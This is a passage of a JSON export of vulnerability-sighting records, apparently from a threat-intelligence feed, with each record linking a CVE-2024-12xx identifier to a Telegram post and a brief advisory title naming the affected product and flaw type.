"content": "https://ift.tt/Kv1laWD\nCVE-2024-1221", "creation_timestamp": "2024-03-14T04:21:47.000000Z"}, {"uuid": "97008335-b83c-4185-b754-536c93931838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1227", "type": "seen", "source": "https://t.me/ctinow/205809", "content": "https://ift.tt/i0qIwkS\nCVE-2024-1227", "creation_timestamp": "2024-03-12T16:26:42.000000Z"}, {"uuid": "224a3bcd-6527-44c9-a02a-0e783bfbf22f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1226", "type": "seen", "source": "https://t.me/ctinow/205808", "content": "https://ift.tt/t9g8vdi\nCVE-2024-1226", "creation_timestamp": "2024-03-12T16:26:41.000000Z"}, {"uuid": "f9710a9b-9c0c-4995-ad31-61b1b49b6553", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1273", "type": "seen", "source": "https://t.me/ctinow/204972", "content": "https://ift.tt/pDktnF6\nCVE-2024-1273", "creation_timestamp": "2024-03-11T19:27:17.000000Z"}, {"uuid": "acd1abc3-11e0-4734-87bd-59890a61bd3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/ctinow/206537", "content": "https://ift.tt/ijlXO4C\nCVE-2024-1212 | Progress LoadMaster up to 7.1.35.10/7.2.48.9/7.2.54.7/7.2.59.1 os command injection", "creation_timestamp": "2024-03-13T10:41:09.000000Z"}, {"uuid": "5e249d6c-c9e2-48ef-8c7b-41dbd8041182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1218", "type": "seen", "source": "https://t.me/ctinow/203638", "content": "https://ift.tt/X1jn9HI\nCVE-2024-1218 | kaliforms Contact Form Builder with Drag & Drop Plugin up to 2.3.41 on WordPress REST Endpoint authorization (ID 3036466)", "creation_timestamp": "2024-03-08T22:56:38.000000Z"}, {"uuid": "fa26c540-9b74-41b0-9e67-d8504b8a6ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1235", "type": "seen", "source": "https://t.me/ctinow/198160", "content": "https://ift.tt/0opTgjO\nCVE-2024-1235 | Livemesh Elementor Addons Plugin up to 8.3.2 on WordPress cross site scripting", "creation_timestamp": "2024-03-02T00:26:33.000000Z"}, {"uuid": "78907883-071a-456a-a178-06423f095552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1290", "type": "seen", "source": "https://t.me/ctinow/204974", "content": "https://ift.tt/U0iNsdD\nCVE-2024-1290", "creation_timestamp": "2024-03-11T19:27:19.000000Z"}, {"uuid": "d3d3a3d9-760b-4f43-90ac-d466cf4503c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1279", "type": "seen", "source": "https://t.me/ctinow/204973", "content": "https://ift.tt/yYx2pTR\nCVE-2024-1279", "creation_timestamp": "2024-03-11T19:27:18.000000Z"}, {"uuid": "fa176b71-3d9e-41a8-a79c-1a53f5ae8b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1288", "type": "seen", "source": "https://t.me/ctinow/203308", "content": "https://ift.tt/HZEz2t5\nCVE-2024-1288 | Schema & Structured Data for WP & AMP Plugin up to 1.26 on WordPress reCaptcha Key authorization", "creation_timestamp": "2024-03-08T13:52:06.000000Z"}, {"uuid": "3f4b481f-1b5f-4e03-8c0f-2fce3d03a773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/ctinow/200972", "content": "https://ift.tt/udOV1iy\nCVE-2024-1220", "creation_timestamp": "2024-03-06T03:31:28.000000Z"}, {"uuid": "e238465a-f68b-4b2b-832d-4e26935b91fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/ctinow/200971", "content": "https://ift.tt/udOV1iy\nCVE-2024-1220", "creation_timestamp": "2024-03-06T03:26:07.000000Z"}, {"uuid": "f0dc49d4-e8a3-4124-b59b-26f9a4925959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1236", "type": "seen", "source": "https://t.me/ctinow/203687", "content": "https://ift.tt/nRfeGjt\nCVE-2024-1236 | wpdevteam Essential Addons for Elementor Plugin up to 5.9.8 on WordPress cross site scripting (ID 3034127)", "creation_timestamp": "2024-03-09T00:31:59.000000Z"}, {"uuid": "5b385b76-bda5-456a-bd8c-818ed6054451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1277", "type": "seen", "source": "https://t.me/ctinow/203182", "content": "https://ift.tt/ZS0aTJ4\nCVE-2024-1277 | Ocean Extra Plugin up to 2.2.4 on WordPress cross site scripting", "creation_timestamp": "2024-03-08T09:51:53.000000Z"}, {"uuid": "1e437c8f-3337-43c2-a3fc-44a6edcf3ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1242", "type": "seen", "source": "https://t.me/ctinow/203710", "content": "https://ift.tt/V3htXxy\nCVE-2024-1242 | leap13 Premium Addons for Elementor Plugin up to 4.10.18 on WordPress cross site scripting", "creation_timestamp": "2024-03-09T01:31:53.000000Z"}, {"uuid": "7eecc234-1424-40a5-8be0-312dd8a99908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1276", "type": "seen", "source": "https://t.me/ctinow/203688", "content": "https://ift.tt/aoThmUN\nCVE-2024-1276 | wpdevteam Essential Addons for Elementor Plugin up to 5.9.8 on WordPress Content Ticker arrow cross site scripting", "creation_timestamp": "2024-03-09T00:32:00.000000Z"}, {"uuid": "cead8cae-c498-4f16-85ba-e61b573975a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1217", "type": "seen", "source": "https://t.me/ctinow/203626", "content": "https://ift.tt/H3V4lYm\nCVE-2024-1217 | kaliforms Contact Form Builder with Drag & Drop Plugin up to 2.3.41 on WordPress Deactivation await_plugin_deactivation authorization (ID 3036466)", "creation_timestamp": "2024-03-08T22:31:46.000000Z"}, {"uuid": "53121fd8-2af3-488b-a0d6-cfc6748564bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1284", "type": "seen", "source": "https://t.me/ctinow/197661", "content": "https://ift.tt/s4U2tRi\nCVE-2024-1284 | Google Chrome prior 121.0.6167.160 Mojo use after free (ID 41494)", "creation_timestamp": "2024-03-01T14:46:50.000000Z"}, {"uuid": "3f74aea5-d6f6-4177-99bd-c9c8880aa1c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1299", "type": "seen", "source": "https://t.me/ctinow/201999", "content": "https://ift.tt/Dd1Vvng\nCVE-2024-1299", "creation_timestamp": "2024-03-07T02:26:58.000000Z"}, {"uuid": "31b14af9-3059-498b-824d-c5e46d0602d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1294", "type": "seen", "source": "https://t.me/ctinow/198825", "content": "https://ift.tt/80yb5ZO\nCVE-2024-1294 | Sunshine Photo Cart Plugin up to 3.0.24 on WordPress Invoice information disclosure (ID 3033429)", "creation_timestamp": "2024-03-03T16:51:23.000000Z"}, {"uuid": "2a4d140b-0b46-4474-800d-131b0a71e86a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "seen", "source": "https://t.me/ctinow/198272", "content": "https://ift.tt/PmUMBAe\nCVE-2024-1207 | wpdevelop WP Booking Calendar Plugin up to 9.9 on WordPress calendar_request_params[dates_ddmmyy_csv]' sql injection", "creation_timestamp": "2024-03-02T08:36:58.000000Z"}, {"uuid": "f95b00b8-209f-4a8d-b34d-97ccef6c35ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1206", "type": "seen", "source": "https://t.me/ctinow/198325", "content": "https://ift.tt/3zypMvx\nCVE-2024-1206 | WP Recipe Maker Plugin up to 9.1.2 on WordPress sql injection (ID 3032702)", "creation_timestamp": "2024-03-02T11:41:53.000000Z"}, {"uuid": "86ad66cc-3e83-44b5-b7de-827847d188c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1246", "type": "seen", "source": "https://t.me/ctinow/198638", "content": "https://ift.tt/oLJqpmg\nCVE-2024-1246 | Concrete CMS up to 9.2.4 Image URL Import cross site scripting", "creation_timestamp": "2024-03-03T09:46:45.000000Z"}, {"uuid": "96ffffae-798f-4cad-a8c1-1df9ac35e10e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1245", "type": "seen", "source": "https://t.me/ctinow/198637", "content": "https://ift.tt/8DISciz\nCVE-2024-1245 | Concrete CMS up to 9.2.4 Attributes Page cross site scripting", "creation_timestamp": "2024-03-03T09:46:44.000000Z"}, {"uuid": "b2c5ed9f-2ded-48c1-acac-9cdae7e84614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1247", "type": "seen", "source": "https://t.me/ctinow/198636", "content": "https://ift.tt/8GQl1zr\nCVE-2024-1247 | Concrete CMS up to 9.2.4 Role Name cross site scripting", "creation_timestamp": "2024-03-03T09:46:43.000000Z"}, {"uuid": "4dd5c6bc-a781-405c-ae9a-d9979a41abf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1260", "type": "seen", "source": "https://t.me/ctinow/197393", "content": "https://ift.tt/BAxPjgi\nCVE-2024-1260 | Juanpao JPShop up to 1.5.02 API ComboController.php actionIndex pic_url unrestricted upload", "creation_timestamp": "2024-03-01T08:41:24.000000Z"}, {"uuid": "5b2f476e-1386-417a-afd7-d7e8e82c2e79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1259", "type": "seen", "source": "https://t.me/ctinow/197392", "content": "https://ift.tt/TfAC8Yr\nCVE-2024-1259 | Juanpao JPShop up to 1.5.02 API AppController.php app_pic_url unrestricted upload", "creation_timestamp": "2024-03-01T08:41:22.000000Z"}, {"uuid": "bfc419f1-72f6-4ce0-a396-8e540becc714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1258", "type": "seen", "source": "https://t.me/ctinow/197377", "content": "https://ift.tt/YNQLOIS\nCVE-2024-1258 | Juanpao JPShop up to 1.5.02 API api/config/params.php JWT_KEY_ADMIN hard-coded key", "creation_timestamp": "2024-03-01T08:11:32.000000Z"}, {"uuid": "a01c3d93-5cf4-42fb-af05-2f51c1eac370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1283", "type": "seen", "source": "https://t.me/ctinow/197662", "content": "https://ift.tt/8uOoRiI\nCVE-2024-1283 | Google Chrome prior 121.0.6167.160 Skia heap-based overflow (ID 41494)", "creation_timestamp": "2024-03-01T14:46:51.000000Z"}, {"uuid": "daaf2a3b-0eb5-4685-b42b-de8991f6574f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1265", "type": "seen", "source": "https://t.me/ctinow/197406", "content": "https://ift.tt/L1b58U3\nCVE-2024-1265 | CodeAstro University Management System 1.0 Attendance Management /att_add.php Student Name cross site scripting", "creation_timestamp": "2024-03-01T09:11:19.000000Z"}, {"uuid": "7920bb6d-f067-409b-b4f8-bc05d924c161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1252", "type": "seen", "source": "https://t.me/ctinow/197332", "content": "https://ift.tt/dej2BN7\nCVE-2024-1252 | Tongda OA 2017 up to 11.9 delete.php ASK_DUTY_ID sql injection", "creation_timestamp": "2024-03-01T07:07:52.000000Z"}, {"uuid": "caa16861-d34c-47b0-833c-deabe8e360c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1251", "type": "seen", "source": "https://t.me/ctinow/197310", "content": "https://ift.tt/u3BJWcZ\nCVE-2024-1251 | Tongda OA 2017 up to 11.10 delete.php DELETE_STR sql injection", "creation_timestamp": "2024-03-01T06:42:12.000000Z"}, {"uuid": "39226ff1-4bbf-4afe-bf45-cc202c28f376", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1253", "type": "seen", "source": "https://t.me/ctinow/197333", "content": "https://ift.tt/tAlIpRz\nCVE-2024-1253 | Beijing Baichuo Smart S40 Management Platform up to 20240126 Import /useratte/web.php file_upload unrestricted upload", "creation_timestamp": "2024-03-01T07:07:53.000000Z"}, {"uuid": "a49f26fe-d6e0-4138-b8db-e19701b94206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1269", "type": "seen", "source": "https://t.me/ctinow/197438", "content": "https://ift.tt/unp5eZX\nCVE-2024-1269 | SourceCodester Product Management System 1.0 /supplier.php supplier_name/supplier_contact cross site scripting", "creation_timestamp": "2024-03-01T09:41:42.000000Z"}, {"uuid": "5c47ba39-e4d7-40cb-8b86-e1d777572ad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1268", "type": "seen", "source": "https://t.me/ctinow/197437", "content": "https://ift.tt/ykxQRvN\nCVE-2024-1268 | CodeAstro Restaurant POS System 1.0 update_product.php unrestricted upload", "creation_timestamp": "2024-03-01T09:41:41.000000Z"}, {"uuid": "560dec97-54e0-4c3f-8678-95bf9528dee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1267", "type": "seen", "source": "https://t.me/ctinow/197436", "content": "https://ift.tt/4xCLiOQ\nCVE-2024-1267 | CodeAstro Restaurant POS System 1.0 create_account.php Full Name cross site scripting", "creation_timestamp": "2024-03-01T09:41:40.000000Z"}, {"uuid": "335e2457-f4cd-4dff-af6a-daed4b63298e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1266", "type": "seen", "source": "https://t.me/ctinow/197435", "content": "https://ift.tt/sv39BbW\nCVE-2024-1266 | CodeAstro University Management System 1.0 Student Registration Form /st_reg.php Address cross site scripting", "creation_timestamp": "2024-03-01T09:41:39.000000Z"}, {"uuid": "05ad1f28-c4c8-4d33-b1d2-1866d11fbc2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1264", "type": "seen", "source": "https://t.me/ctinow/197402", "content": "https://ift.tt/csiI9Aa\nCVE-2024-1264 | Juanpao JPShop up to 1.5.02 UploadsController.php actionUpdate imgage unrestricted upload", "creation_timestamp": "2024-03-01T09:11:14.000000Z"}, {"uuid": "35d6c278-e8f4-48d5-9665-973079e79079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1263", "type": "seen", "source": "https://t.me/ctinow/197401", "content": "https://ift.tt/4dEyItJ\nCVE-2024-1263 | Juanpao JPShop up to 1.5.02 API PosterController.php actionUpdate pic_url unrestricted upload", "creation_timestamp": "2024-03-01T09:11:13.000000Z"}, {"uuid": "2469e079-bdba-4a6c-b127-7f6cc00f1a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1262", "type": "seen", "source": "https://t.me/ctinow/197395", "content": "https://ift.tt/W4GPkj9\nCVE-2024-1262 | Juanpao JPShop up to 1.5.02 API MaterialController.php actionUpdate pic_url unrestricted upload", "creation_timestamp": "2024-03-01T08:41:26.000000Z"}, {"uuid": "1455be8e-e45d-4d8d-a6eb-d2f8e60a3ef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1261", "type": "seen", "source": "https://t.me/ctinow/197394", "content": "https://ift.tt/zs73fNx\nCVE-2024-1261 | Juanpao JPShop up to 1.5.02 API ComboController.php actionIndex pic_url unrestricted upload", "creation_timestamp": "2024-03-01T08:41:25.000000Z"}, {"uuid": "a347e3f8-4bd5-4a39-9819-54e705258349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1255", "type": "seen", "source": "https://t.me/ctinow/197361", "content": "https://ift.tt/Vyw8NJx\nCVE-2024-1255 | sepidz SepidzDigitalMenu up to 7.1.0728.1 /Waiters information disclosure", "creation_timestamp": "2024-03-01T07:36:18.000000Z"}, {"uuid": "04412e08-9174-4ec2-a266-4d1b5f74bb24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1254", "type": "seen", "source": "https://t.me/ctinow/197360", "content": "https://ift.tt/FdEIhrY\nCVE-2024-1254 | Beijing Baichuo Smart S20 Management Platform up to 20231120 sysmanageajax.php id sql injection", "creation_timestamp": "2024-03-01T07:36:17.000000Z"}, {"uuid": "5a944637-55ca-4d3e-a9e1-f11abf00391e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1257", "type": "seen", "source": "https://t.me/ctinow/197376", "content": "https://ift.tt/ijz6m7v\nCVE-2024-1257 | Jspxcms 10.2.0 find_text.do cross site scripting", "creation_timestamp": "2024-03-01T08:11:31.000000Z"}, {"uuid": "7e322ab3-fa25-4981-84fc-5ad522e87f54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1256", "type": "seen", "source": "https://t.me/ctinow/197375", "content": "https://ift.tt/C0pPuo3\nCVE-2024-1256 | Jspxcms 10.2.0 filter_text.do cross site scripting", "creation_timestamp": "2024-03-01T08:11:29.000000Z"}, {"uuid": "1dc06714-4aa4-4e0b-a127-ed47f18b41e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1225", "type": "seen", "source": "https://t.me/ctinow/196351", "content": "https://ift.tt/a65jhfo\nCVE-2024-1225 | QiboSoft QiboCMS X1 up to 1.0.6 Pay.php rmb_pay callback_class deserialization", "creation_timestamp": "2024-02-29T08:47:10.000000Z"}, {"uuid": "3b0563e6-f209-4fba-bdb5-d34c9c44ef50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1224", "type": "seen", "source": "https://t.me/ctinow/201323", "content": "https://ift.tt/TJdKtZg\nCVE-2024-1224", "creation_timestamp": "2024-03-06T13:31:29.000000Z"}, {"uuid": "4f76a169-2cd5-4a7d-a1e2-3a70704d6422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1224", "type": "seen", "source": "https://t.me/ctinow/201318", "content": "https://ift.tt/TJdKtZg\nCVE-2024-1224", "creation_timestamp": "2024-03-06T13:31:23.000000Z"}, {"uuid": "3db5aed9-0d94-44d4-8b79-a61e894e722c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1285", "type": "seen", "source": "https://t.me/ctinow/199864", "content": "https://ift.tt/0sQl9qa\nCVE-2024-1285", "creation_timestamp": "2024-03-05T03:28:10.000000Z"}, {"uuid": "2fd26614-5cbd-410e-8437-3d03877e6be9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/ctinow/189963", "content": "https://ift.tt/RrV68YL\nCVE-2024-1212", "creation_timestamp": "2024-02-21T19:21:50.000000Z"}, {"uuid": "5bdf6ac3-6732-4a75-b014-e94c741fd49f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1285", "type": "seen", "source": "https://t.me/ctinow/199851", "content": "https://ift.tt/0sQl9qa\nCVE-2024-1285", "creation_timestamp": "2024-03-05T03:27:52.000000Z"}, {"uuid": "bdd873f9-6eb9-49d4-aade-7a55b32cb801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1282", "type": "seen", "source": "https://t.me/ctinow/199110", "content": "https://ift.tt/PTGXFag\nCVE-2024-1282 | Email Encoder Plugin up to 2.2.0 on WordPress Shortcode cross site scripting", "creation_timestamp": "2024-03-04T09:41:37.000000Z"}, {"uuid": "1162059c-91d8-4cd9-bd36-2e7847660c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1200", "type": "seen", "source": "https://t.me/ctinow/192778", "content": "https://ift.tt/nZQqVY3\nCVE-2024-1200 | Jspxcms 10.2.0 /template/1/default/ information disclosure", "creation_timestamp": "2024-02-25T08:46:45.000000Z"}, {"uuid": "a973fa27-b05d-4a47-a477-77140e7a69b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1215", "type": "seen", "source": "https://t.me/ctinow/192907", "content": "https://ift.tt/JXsFEbH\nCVE-2024-1215 | SourceCodester CRUD without Page Reload 1.0 fetch_data.php username/city cross site scripting", "creation_timestamp": "2024-02-25T15:16:23.000000Z"}, {"uuid": "421db84a-dff4-44f9-9a90-b21db1250a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1208", "type": "seen", "source": "https://t.me/ctinow/192897", "content": "https://ift.tt/cx8RMDK\nCVE-2024-1208 | LearnDash LMS Plugin up to 4.10.2 on WordPress API information disclosure", "creation_timestamp": "2024-02-25T14:46:21.000000Z"}, {"uuid": "7088a72b-175b-443c-a29f-9bc57172e9ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "seen", "source": "https://t.me/ctinow/192896", "content": "https://ift.tt/wjrZVS0\nCVE-2024-1210 | LearnDash LMS Plugin up to 4.10.1 on WordPress API information disclosure", "creation_timestamp": "2024-02-25T14:46:19.000000Z"}, {"uuid": "64870c89-667b-4918-9f50-bf012baa2303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1209", "type": "seen", "source": "https://t.me/ctinow/192895", "content": "https://ift.tt/Ze2HtUu\nCVE-2024-1209 | LearnDash LMS Plugin up to 4.10.1 on WordPress Assignment information disclosure", "creation_timestamp": "2024-02-25T14:46:18.000000Z"}, {"uuid": "a563cfd8-b134-4ef2-aae4-6aabb2d1a555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1297", "type": "seen", "source": "https://t.me/ctinow/188018", "content": "https://ift.tt/LoTyRJi\nCVE-2024-1297", "creation_timestamp": "2024-02-20T01:26:33.000000Z"}, {"uuid": "602202f6-9d17-48c8-b153-0b989bb81a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1297", "type": "seen", "source": "https://t.me/ctinow/188014", "content": "https://ift.tt/LoTyRJi\nCVE-2024-1297", "creation_timestamp": "2024-02-20T01:21:35.000000Z"}, {"uuid": "15b24d08-ffc5-4c10-9b6c-cca1720f494b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1256", "type": "seen", "source": "https://t.me/ctinow/182464", "content": "https://ift.tt/KHkvPui\nCVE-2024-1256 Exploit", "creation_timestamp": "2024-02-10T08:16:28.000000Z"}, {"uuid": "431e0f8b-cb5b-49f7-ab50-2d23f9013b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1257", "type": "seen", "source": "https://t.me/ctinow/182463", "content": "https://ift.tt/QjzvTFS\nCVE-2024-1257 Exploit", "creation_timestamp": "2024-02-10T08:16:27.000000Z"}, {"uuid": "1de1683e-cb98-4c96-9cc0-2e689fc88614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1266", "type": "seen", "source": "https://t.me/ctinow/180475", "content": "https://ift.tt/9azc5Ky\nCVE-2024-1266", "creation_timestamp": "2024-02-07T02:32:03.000000Z"}, {"uuid": "2644b10a-2e9d-438b-9386-7e4c135445ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1260", "type": "seen", "source": "https://t.me/ctinow/180402", "content": "https://ift.tt/IbBMSFR\nCVE-2024-1260", "creation_timestamp": "2024-02-06T23:31:32.000000Z"}, {"uuid": "d72378ae-56d6-4c1d-bff7-aa982d1e2e0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1267", "type": "seen", "source": "https://t.me/ctinow/180476", "content": "https://ift.tt/urvyX5x\nCVE-2024-1267", "creation_timestamp": "2024-02-07T02:32:04.000000Z"}, {"uuid": "a132fa3d-72b3-46d9-9d10-03341a152ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 